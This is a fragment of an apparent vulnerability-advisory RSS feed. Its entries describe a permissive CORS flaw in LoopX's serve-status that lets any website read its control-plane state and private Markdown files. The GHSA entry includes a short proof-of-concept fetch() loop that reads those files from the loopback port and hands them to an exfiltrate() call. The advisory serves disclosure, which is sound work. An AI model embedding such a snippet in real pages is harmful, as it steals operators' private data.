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    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
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    <lastBuildDate>Tue, 17 Nov 2026 02:57:49 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-390812</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-390812</link>
      <description>EUVD-2026-390812</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-390812</guid>
    </item>
    <item>
      <title>fkie_cve-2026-108372</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-108372</link>
      <description>&lt;p&gt;Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering. From version 0.0.1 until 0.4.5, `loopx serve-status` in `loopx/status_server.py` uses `StatusRequestHandler._send_json()` and `do_OPTIONS()` to send `Access-Control-Allow-Origin: *` for unauthenticated responses on predictable loopback ports. A remote attacker can cause an operator who visits attacker-controlled web content to issue cross-origin requests to `GET /status.json`, `GET /review-material?goal_id=...&amp;amp;path=...`, `GET /`, and `POST /control-plane/configure-goal/dry-run`, exposing control-plane state, goal and run information, local absolute paths, private Markdown files below registered goal roots, and dry-run configuration projections. The affected routes do not provide cross-origin writes or arbitrary-file access. This issue is fixed in version 0.4.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering. From version 0.0.1 until 0.4.5, `loopx serve-status` in `loopx/status_server.py` uses `StatusRequestHandler._send_json()` and `do_OPTIONS()` to send `Access-Control-Allow-Origin: *` for unauthenticated responses on predictable loopback ports. A remote attacker can cause an operator who visits attacker-controlled web content to issue cross-origin requests to `GET /status.json`, `GET /review-material?goal_id=...&amp;amp;path=...`, `GET /`, and `POST /control-plane/configure-goal/dry-run`, exposing control-plane state, goal and run information, local absolute paths, private Markdown files below registered goal roots, and dry-run configuration projections. The affected routes do not provide cross-origin writes or arbitrary-file access. This issue is fixed in version 0.4.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-108372</guid>
    </item>
    <item>
      <title>GHSA-vx2m-gpq4-8j5q — LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-vx2m-gpq4-8j5q</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: loopx&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`loopx serve-status` sends `Access-Control-Allow-Origin: *` on **every** response,
including its unauthenticated `GET` routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, **any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo**, using a plain `fetch()` with no user interaction.&lt;/p&gt;
&lt;p&gt;The write endpoints are *not* affected — they are correctly Origin-checked. This report is
strictly about the **read** paths.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;While `loopx serve-status` is running, a page on any origin can run:&lt;/p&gt;
&lt;p&gt;```js
// no interaction, no preflight, no credentials needed
const s = await (await fetch(&amp;#39;http://127.0.0.1:8766/status.json&amp;#39;)).json();
for (const g of s.goals ?? []) {
  const m = await (await fetch(
    `http://127.0.0.1:8766/review-material?goal_id=${g.id}&amp;amp;path=design-notes.md`
  )).json();
  exfiltrate(m.content);
}
```&lt;/p&gt;
&lt;p&gt;and read back:&lt;/p&gt;
&lt;p&gt;* **`GET /status.json`** — the whole status projection: goal ids, run history, and local
  absolute paths (`registry`, `runtime_root`). With `--global-registry` this covers
  **every project registered on the machine**, not just one.
* **`GET /review-material?goal_id=…&amp;amp;path=…`** — the *content* of any `.md`/`.markdown`
  file under a goal&amp;#39;s repo root, state dir, or runtime dir. In practice that is the
  operator&amp;#39;s private design notes, handoff docs, and evidence write-ups.
* **`GET /`** — endpoint discovery, including which…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: loopx&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`loopx serve-status` sends `Access-Control-Allow-Origin: *` on **every** response,
including its unauthenticated `GET` routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, **any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo**, using a plain `fetch()` with no user interaction.&lt;/p&gt;
&lt;p&gt;The write endpoints are *not* affected — they are correctly Origin-checked. This report is
strictly about the **read** paths.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;While `loopx serve-status` is running, a page on any origin can run:&lt;/p&gt;
&lt;p&gt;```js
// no interaction, no preflight, no credentials needed
const s = await (await fetch(&amp;#39;http://127.0.0.1:8766/status.json&amp;#39;)).json();
for (const g of s.goals ?? []) {
  const m = await (await fetch(
    `http://127.0.0.1:8766/review-material?goal_id=${g.id}&amp;amp;path=design-notes.md`
  )).json();
  exfiltrate(m.content);
}
```&lt;/p&gt;
&lt;p&gt;and read back:&lt;/p&gt;
&lt;p&gt;* **`GET /status.json`** — the whole status projection: goal ids, run history, and local
  absolute paths (`registry`, `runtime_root`). With `--global-registry` this covers
  **every project registered on the machine**, not just one.
* **`GET /review-material?goal_id=…&amp;amp;path=…`** — the *content* of any `.md`/`.markdown`
  file under a goal&amp;#39;s repo root, state dir, or runtime dir. In practice that is the
  operator&amp;#39;s private design notes, handoff docs, and evidence write-ups.
* **`GET /`** — endpoint discovery, including which…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-vx2m-gpq4-8j5q</guid>
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